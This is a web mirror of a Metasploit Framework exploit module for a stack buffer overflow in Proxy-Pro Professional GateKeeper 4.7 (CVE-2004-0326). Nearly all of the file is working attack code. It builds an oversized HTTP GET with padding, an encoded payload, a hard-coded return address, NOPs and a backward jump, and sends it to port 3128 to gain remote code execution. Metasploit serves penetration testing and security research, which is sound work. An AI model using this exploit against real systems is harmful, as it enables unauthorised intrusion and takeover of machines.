Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/proxy/proxypro_http_get.rb
19812 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Proxy-Pro Professional
18
GateKeeper 4.7. By sending a long HTTP GET to the default port
19
of 3128, a remote attacker could overflow a buffer and execute
20
arbitrary code.
21
},
22
'Author' => 'MC',
23
'License' => MSF_LICENSE,
24
'References' => [
25
['CVE', '2004-0326'],
26
['OSVDB', '4027'],
27
['BID', '9716'],
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'process',
31
},
32
'Payload' => {
33
'Space' => 500,
34
'BadChars' => "\x00+&=%\x0a\x0d\x20",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
40
],
41
'Privileged' => true,
42
'DisclosureDate' => '2004-02-23',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options(
53
[
54
Opt::RPORT(3128)
55
]
56
)
57
end
58
59
def exploit
60
connect
61
62
print_status("Trying target #{target.name}...")
63
64
sploit = "GET /" + rand_text_english(3603, payload_badchars)
65
sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
66
sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"
67
68
sock.put(sploit)
69
sock.get_once(-1, 3)
70
71
handler
72
disconnect
73
end
74
end
75
76